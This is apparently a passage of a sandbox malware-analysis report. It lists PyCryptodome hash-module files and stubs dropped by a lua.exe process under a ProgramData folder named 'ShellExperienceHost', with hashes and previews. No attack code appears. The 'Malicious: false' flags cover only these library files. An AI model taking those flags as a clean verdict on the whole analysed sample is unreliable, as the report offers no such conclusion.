Preview:	#..# HMAC.py - Implements the HMAC algorithm as described by RFC 2104...#..# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAI

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\HMAC.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	649
Entropy (8bit):	4.783061054533155
Encrypted:	false
SSDEEP:	12:1Ro8s7REYB6IvIY3YcRyTkpYRyc1AQ2ZcQ0WrQwgcxW5RwW0WFW2orULB/Q0WHQ4:1RM7C8T3xWFAlrVxW1W2oILB/SH+y
MD5:	14A386A671119C5A919A33425DBB267C
SHA1:	938FCE9D2F2D8D12B4E6DCE66CF634F0597E79C5
SHA-256:	C2C617969E9C441DCC4F844E9B8BA9767F49999272C239BDE88D5F4FAF6A672C
SHA-512:	99637CA962FF596AB9A740A3360DCA5989F0CA1DBC23C90926A213FC50A3E7A5FBC92DDDA0C62625FAA9A273CE9D6D50BFAC8A9D812BEC12DA2AD8CFE1D6D141
Malicious:	false
Preview:	from types import ModuleType..from typing import Union, Dict....Buffer = Union[bytes, bytearray, memoryview]....digest_size: int....class HMAC(object):.. digest_size: int.... def __init__(self,.... key: Buffer,.. msg: Buffer,.... digestmod: ModuleType) -> None: ..... def update(self, msg: Buffer) -> HMAC: ..... def copy(self) -> HMAC: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def verify(self, mac_tag: Buffer) -> None: ..... def hexverify(self, hex_mac_tag: str) -> None: .........def new(key: Buffer,.. msg: Buffer = ...,...digestmod: ModuleType = ...) -> HMAC: .....

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\MD2.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	6277
Entropy (8bit):	4.740289678626214
Encrypted:	false
SSDEEP:	96:MwDqrYJALrYJHdt3EHGuIWHgkIx9LSVHSvtNz8iz1I7NHZDE3aOMz/fXqNagW6:9qrskrs9t3q/IN9L8i4NmKpfLI
MD5:	E481D6B8F9367485C21BE80F7EA069C9
SHA1:	3D3F67C2664934CF57C9705DBAC3B48A8DFF15B5
SHA-256:	2B2CB2D01B12395DDBEA6EC5D66E3CDC8FD5B99BCB81E112FE127299EE24922C
SHA-512:	3C215DF463DDAB0CE241F0898FF6005FC87C61E1249051876D05495AE3619569B18CB917AB9FEE194AFE73698CFCAFA4FC662617E22F17757063C978687B1B1C
Malicious:	false
Preview:	# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\MD2.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	511
Entropy (8bit):	4.765158993873355
Encrypted:	false
SSDEEP:	12:1REYBjvIY3g2RypRyLu1AwLsQwu5LGLs+4Ls7Ry5Ryn:1REET3g2QEWAwL/0Lz4Lcwy
MD5:	4BC02D61022F9C16DF722B5F84952EE6
SHA1:	C1AC7927C7F367E0ED86236950DC2966326B127C
SHA-256:	3B3C9E78A4313AC9D7935D4AE92C650879BE8F55007478154429919B4794BB42
SHA-512:	9A6729A4346430DAB7D125D5575C955B968B2491F37C75F9ECE46A13A0DA794348F86227EC29A0D700CB5B66F76353D4372439D9EE956DFC43CEF75B62EA9251
Malicious:	false
Preview:	from typing import Union....Buffer = Union[bytes, bytearray, memoryview]....class MD4Hash(object):.. digest_size: int.. block_size: int.. oid: str.... def __init__(self, data: Buffer = ...) -> None: ..... def update(self, data: Buffer) -> None: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def copy(self) -> MD4Hash: ..... def new(self, data: Buffer = ...) -> MD4Hash: .......def new(data: Buffer = ...) -> MD4Hash: .....digest_size: int..block_size: int..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\MD4.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	6767
Entropy (8bit):	4.77561272659047
Encrypted:	false
SSDEEP:	96:MwDqrYJALrYJHdt3EHGuIuyHgkIc+VpFfjlBPazI1i4a9m2gNeJ3JOMTRt/XklO/:9qrskrs9t3q/IuHJbD62itgGZ3FWtA
MD5:	815AD75FFCEB01DBC18A797BEB80D57E
SHA1:	90AEFD81B088EC63E771C502377380B5A83AAB0A
SHA-256:	26196B146E61C65278C91C066B7460FEBC3200DC14FB5E842C471E6D56C39783
SHA-512:	2025D72689B0A4CF2B1B30BAD9593DF40EB632C20628916F7141832930D6F42FEE3E79B951620A161B19213C18E4E5C1C5A1EC946B4F68E0911A9FB636D0E4ED
Malicious:	false
Preview:	# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\MD4.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	551
Entropy (8bit):	4.846633197285402
Encrypted:	false
SSDEEP:	12:1REYB3vIY3g2RypRyLu1AGR4Qwu5LgR4+OR47Ry5Ryn:1REcT3g2QEWAczQ/UYwy
MD5:	74AB60EEF22557EA93605E680CA5D294
SHA1:	6EE4291D7DB2B6787D18FC27DAD203ED326B3C3C
SHA-256:	0602DA2A342D9EF1F7C015F953B2DF27F51C25A5E99F89044E71579662EBA5FF
SHA-512:	F87B68B8145984213A2028813A82CD51C294D1A5D723DC92983662E24859EDFF25F5D608C2EC806BB052EC3BA8D8ABAB47C8047347C499FAE16833BB0A6CCC97
Malicious:	false
Preview:	from typing import Union, Optional....Buffer = Union[bytes, bytearray, memoryview]....class MD4Hash(object):.. digest_size: int.. block_size: int.. oid: str.... def __init__(self, data: Optional[Buffer] = ...) -> None: ..... def update(self, data: Buffer) -> None: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def copy(self) -> MD4Hash: ..... def new(self, data: Optional[Buffer] = ...) -> MD4Hash: .......def new(data: Optional[Buffer] = ...) -> MD4Hash: .....digest_size: int..block_size: int..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\MD5.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	6802
Entropy (8bit):	4.584130593682968
Encrypted:	false
SSDEEP:	96:dFQHvo7H1kIcKxYHSvtZzUwipIDwNHiw3aOMzCkDXXgcNdymaZ/HSxUY59Rk:bQHvLSrifNBKoknPDdzRk
MD5:	9B5CEA3FA09AFC6A601C87474223CF35
SHA1:	2D5EFB95669296497442EFBD696460F2049D3FA6
SHA-256:	5B3966F7457DB844BE069E442139F2863B2407D9C803EDCA064CE878BBD263E5
SHA-512:	3C989A5974DECE408C53EF69F45C4003DA506FE681C1196B29C7F9F5A4FC97264C39272952256BB7C8ACAFD9D2F7E783F815D8AD3E0AA97573F11103F13786A6
Malicious:	false
Preview:	# -- coding: utf-8 --..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ================================================================

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\MD5.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	511
Entropy (8bit):	4.765158993873355
Encrypted:	false
SSDEEP:	12:1REYBjvIY3IpRypRyLu1AwLsQwu5QlGLsIc4LsIJRy5Ryn:1REET3EQEWAwL/1LQ4Ljwy
MD5:	1F1147ECB293220FC948730F06836366
SHA1:	E467DEF3A20461383919E11A801E0B57BBDC85E6
SHA-256:	8A3E274302454BFF4450C1DF6DA89A048F13EB048E64C6781408F18066F8430B
SHA-512:	762332FFC8A79CEFABE74934DEBC2F101EB2BF66584765D21B8A3E21D0483F3AD2A18D60337573121A048588375D225A07F2698616B8227EDFF20FC95528A441
Malicious:	false
Preview:	from typing import Union....Buffer = Union[bytes, bytearray, memoryview]....class MD5Hash(object):.. digest_size: int.. block_size: int.. oid: str.... def __init__(self, data: Buffer = ...) -> None: ..... def update(self, data: Buffer) -> None: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def copy(self) -> MD5Hash: ..... def new(self, data: Buffer = ...) -> MD5Hash: .......def new(data: Buffer = ...) -> MD5Hash: .....digest_size: int..block_size: int..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\Poly1305.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	8291
Entropy (8bit):	4.581460307129591
Encrypted:	false
SSDEEP:	96:vkJbFQHvo7EHgSrkIp2iliiM/QpkFLwZD42MzZFEtP2CTHOV:cJJQHv3ViiRM8Zszze+WOV
MD5:	041E76ED0853FC3D34926662B89C7EC9
SHA1:	C96F71E6A2A302C9A275F88FB524767D3953004C
SHA-256:	F837E4153ED4E178F518F71A87315C172C3B60CB4F132A6F19F68AF9BCA336F7
SHA-512:	9C6DF959510E2D2ABA4A9808E62288A74FE225911AFD854B85A8345A25131F352504F9176E3F290FC99A61B04E21A1C08531FF45D8CD3D348DEF74E70458B0D3
Malicious:	false
Preview:	# -- coding: utf-8 --..#..# Hash/Poly1305.py - Implements the Poly1305 MAC..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ===========

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\Poly1305.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	689
Entropy (8bit):	4.617411626220112
Encrypted:	false
SSDEEP:	12:1Ro8s7REYBjvIY3wzRyaRyLu1Ac08UwEW5RwW0WFWXo84WLBh3Ls/y:1RM7CET32rEWAc0/W1WXo8xLB9LMy
MD5:	75346EDCB93D820A434DB03BE87622A5
SHA1:	47369DC52B3FAD5BF609908FB1AEACE8D87E2E01
SHA-256:	7DA8B1DB291F97F8751EBE26AAFB6663571467C4A13827F8114895990E3DD81A
SHA-512:	0F1CA6D6FCC2176B6F8FC7849CF5E14C77109CD92C690B81EC796F204ACADF69F3AD444F674EC3D751CAB4A959232F2BAF6D5E65D4BB174B1C5115A8EF413E1B
Malicious:	false
Preview:	from types import ModuleType..from typing import Union....Buffer = Union[bytes, bytearray, memoryview]....class Poly1305_MAC(object):.. block_size: int.. digest_size: int.. oid: str.... def __init__(self,.. r : int,.. s : int,.. data : Buffer) -> None: ..... def update(self, data: Buffer) -> Poly1305_MAC: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def verify(self, mac_tag: Buffer) -> None: ..... def hexverify(self, hex_mac_tag: str) -> None: .......def new(key: Buffer,.. cipher: ModuleType,.. nonce: Buffer = ...,.. data: Buffer = ...) -> Poly1305_MAC: .....

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\RIPEMD.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1225
Entropy (8bit):	5.174131605423868
Encrypted:	false
SSDEEP:	24:lcAXDrFR/F2IPBiCXCpjf29QHupsUre38Ok41+dpo3oq/FbUgtQ+5VYGtQq+tQke:KIB0jcQHMsvI/S3oCFbn5DB+o
MD5:	CB30EA21F8B046CCE596D4E9D85D2C36
SHA1:	39A1CFA3C5664E638359F8EBB44CC8BE70D96125
SHA-256:	E811E75C7B6A01CDFAF40C3EF330BDAF01EDD45AAF449396A669EB1FF78C8CC6
SHA-512:	9DF776A64BE9A1C0405C29C3B5E41295EF558741F9695B6C968ECE87354099F12B490A1B125D0CF778992404F92ECF3C3DEFD854E9DB4C6B31B13C1B4ADEA5D9
Malicious:	false
Preview:	# -- coding: utf-8 --..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ================================================================

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\RIPEMD.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.494398793678958
Encrypted:	false
SSDEEP:	3:SbFQZmK2lfvo0NEr3Ssov+7Qt/ZTv:SbFsmK2lfWr3SsBktxTv
MD5:	37FCCB2128F28CB860905F19A5DE5664
SHA1:	E195627D9120B8DF358962BFE57EB1AF121510A7
SHA-256:	4E4A85E6BC544386180FAAB57B719D40C8B07D04FF1AD0A222AEDEFD81A29DD4
SHA-512:	A33C96C3A508D2C288E34036AD8F5748BC8993BC08D33785E554553E99A7E4818F853593E8D6695F4BA936B528748E96BF2969B616302F3B6AB4DBF7B08EBE6E
Malicious:	false
Preview:	# This file exists for backward compatibility with old code that refers to..# Crypto.Hash.SHA....

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\RIPEMD160.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	6567
Entropy (8bit):	4.770780657565152
Encrypted:	false
SSDEEP:	96:MwDqrYJALrYJHdt3EHGuIWHgkInaAHSvw5zbixIwNHZ3aOMmkXX4NUjfj:9qrskrs9t3q/IDJbiXN5KoknNP
MD5:	294D8E4BD1689A8559B935B6D234F5F1
SHA1:	23F0157DBFF6D5A4339E66FA0526C38CF3C91CB0
SHA-256:	CBCCB75E5F0647E5C18B743266D00300EEA5D15D164E3008ACBD934894A4AB43
SHA-512:	2D39E18D2C36E72B0CF236E7FFA0C37857B5EB5304CD96CFCBD214B5CA676AFA4A0C377C80C028163FAF53E9D7400E3598F4BD21C36DDD95AEE42A22BE657710
Malicious:	false
Preview:	# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\RIPEMD160.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	535
Entropy (8bit):	4.931502616073856
Encrypted:	false
SSDEEP:	12:1REYBjvIY33hUlRypRyLu1AwLsQwu5TUhGLs7Ug4Ls7UdRy5Ryn:1REET3RWQEWAwL/N/L+14L+ywy
MD5:	A9429F32C25E1E86987C94D3EE514342
SHA1:	176B307242F24A7BFF87D2A74EE609324AD26550
SHA-256:	84F643A25DF20E6A761AD4E1ECDC6F04493DB5CCAF6108254B944A31662A00E7
SHA-512:	2A7910E7C1091CC7F9F1D4993EF594F77B2E29841A2B64A702A53BFF6C7231B1224A63A9FC979117614547F699A0EA7864A5C622B083617A1AF316CD51AB1B79
Malicious:	false
Preview:	from typing import Union....Buffer = Union[bytes, bytearray, memoryview]....class RIPEMD160Hash(object):.. digest_size: int.. block_size: int.. oid: str.... def __init__(self, data: Buffer = ...) -> None: ..... def update(self, data: Buffer) -> None: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def copy(self) -> RIPEMD160Hash: ..... def new(self, data: Buffer = ...) -> RIPEMD160Hash: .......def new(data: Buffer = ...) -> RIPEMD160Hash: .....digest_size: int..block_size: int..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\SHA.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1172
Entropy (8bit):	5.117383873972604
Encrypted:	false
SSDEEP:	24:lcAXDrFR/F2IPBiCXCpjf29QHupsUre38Ok41+dpo3oq/FbUgtj+tue:KIB0jcQHMsvI/S3oCFbnZ+B
MD5:	6C017EB81EF21818A9368CCC5143F50B
SHA1:	1D1229CDE4338C4BA3F969AF90700FC8960BBF08
SHA-256:	C86BAD9D4AFFEAC58CE3884195E177E1418721C8E3B70684ACDDC36E74BC943F
SHA-512:	5BF8D63655B09CAE49255FBCBAB152CAC1FF5E14FE5BAE2AA4221E6618E911FA0D5193743C82BB66473699D59974B9CE1633CA0DE68495B9CDF63FB947D2AD7F
Malicious:	false
Preview:	# -- coding: utf-8 --..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ================================================================

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\SHA.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	165
Entropy (8bit):	4.73872569825065
Encrypted:	false
SSDEEP:	3:SbFQZmK2lfvo0NEr3Ssov+7Qt/ZTzJmMkt/Z1oQpKGOIWufs/96Lf9:SbFsmK2lfWr3SsBktxTN+tx1xpdhVs/2
MD5:	0DE894DECF1A876B03938929070F04E5
SHA1:	DCB783EF505138E743F04546FD5A2D6C6A4840FB
SHA-256:	0AEA71662B258A56912F1274D95677A727F619A48604D1B1B991891F22ED047D
SHA-512:	B2468F52C9C79C44A5BB9CC002E9318FA7C18B60918A85797C21E1A925A23070262A892D864CD1A66F4C14646AC38B8142F2F578D869F453060F58F41C663652
Malicious:	false
Preview:	# This file exists for backward compatibility with old code that refers to..# Crypto.Hash.SHA....from Crypto.Hash.SHA1 import __doc__, new, block_size, digest_size..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\SHA1.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	6875
Entropy (8bit):	4.5821494704539845
Encrypted:	false
SSDEEP:	96:dFQHvo7H1kIpQ1IUeNNUPHSvwmlz+irILNHU3aOMj9XXgNp5+T/HSxUYfARk:bQHvgQ1IVNNx9+iUN0KN9nINdoRk
MD5:	ADA65380EE21DCC4351BBF2883F9B8FE
SHA1:	F1C8A946C677B83B30B5FAADAE98C8EF30BA2A22
SHA-256:	6C3CE9B0E7B65218814CEB19987644C776D4C36495C2875470FC94149A8A0015
SHA-512:	505E499F9D590814F2EED4384D38708D373EC7C5E8132D20A16FCFA84F056F2181FFF8AE044E73B21C9F4646F5CF0CA2D012F39E342F2763C2ECCF7CD7E5FCF8
Malicious:	false
Preview:	# -- coding: utf-8 --..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ================================================================

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\SHA1.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	555
Entropy (8bit):	4.858937300843863
Encrypted:	false
SSDEEP:	12:1REYB3vIY3vRypRyLu1AGR4Qwu59gR48OR4pRy5Ryn:1REcT3JQEWAczqjUswy
MD5:	B35CDD0C45717949B3D05F871CE86E01
SHA1:	937CCC519B51BC2AA994CB9F8BD21AAD37865B74
SHA-256:	4FC9652243B1B4A443C08C6B22F5C5343C63453405A13FBE9CC9DD12DE6951EA
SHA-512:	92E8217DD0C0FA48A33EC261921B5BB6EB385AE47271F2E2E447EFD29279FEE668ECD3A8E910AF34C062CB6CC7CAFE836525CBD93194335F3996FCF78397F69F
Malicious:	false
Preview:	from typing import Union, Optional....Buffer = Union[bytes, bytearray, memoryview]....class SHA1Hash(object):.. digest_size: int.. block_size: int.. oid: str.... def __init__(self, data: Optional[Buffer] = ...) -> None: ..... def update(self, data: Buffer) -> None: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def copy(self) -> SHA1Hash: ..... def new(self, data: Optional[Buffer] = ...) -> SHA1Hash: .......def new(data: Optional[Buffer] = ...) -> SHA1Hash: .....digest_size: int..block_size: int..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\SHA224.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	7087
Entropy (8bit):	4.539811851927445
Encrypted:	false
SSDEEP:	96:dFQHvo7HgkIxtUI7eJ+DqHSv4bz1iBI+6NHh3aOM0CXXiNvs54/WxUvRqRk:bQHvjtUI6J+21i6NBKOCnE+GQRk
MD5:	DA93616992C4934DB1A0D8073472F425
SHA1:	9F9D2B184F043FF932BFDDB3E21B647BB5C67FB7
SHA-256:	D872AF137DA84299B930FBFD1FC433FC86E0B38E0046E3D5F981F7EED9BB8CB8
SHA-512:	3B1554F21F095128B5C937E154DC2614DDEFF3F59654AE3B676199A36C4E74BF173E997F5196A94670BF6AF94B10CBB42AE71D92B722005FC7436B159B2CCEDB
Malicious:	false
Preview:	# -- coding: utf-8 --..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ================================================================

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\SHA224.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	563
Entropy (8bit):	4.8974516866478135
Encrypted:	false
SSDEEP:	12:1REYB3vIY36RypRyLu1AGR4Qwu5YgR4vOR40Ry5Ryn:1REcT36QEWAczPsUPwy
MD5:	F91615062C7CF8B106319B16A210EDD1
SHA1:	6BB2CC5E2BB4140E17A3CB821E84FD8408798AEF
SHA-256:	A3FBCEE498C3C4CADC8D5136ACED4C69DE9B941802AEA4AEF8C6B272DF1E054A
SHA-512:	305B86FDCA88498DC390D013DF6F8ECE0D47A3E79C7E2855D282A8DDE865EE0914643960F04082D52B906EC5DC0603B5403316D87A03A0E0F89178D8D6108497
Malicious:	false
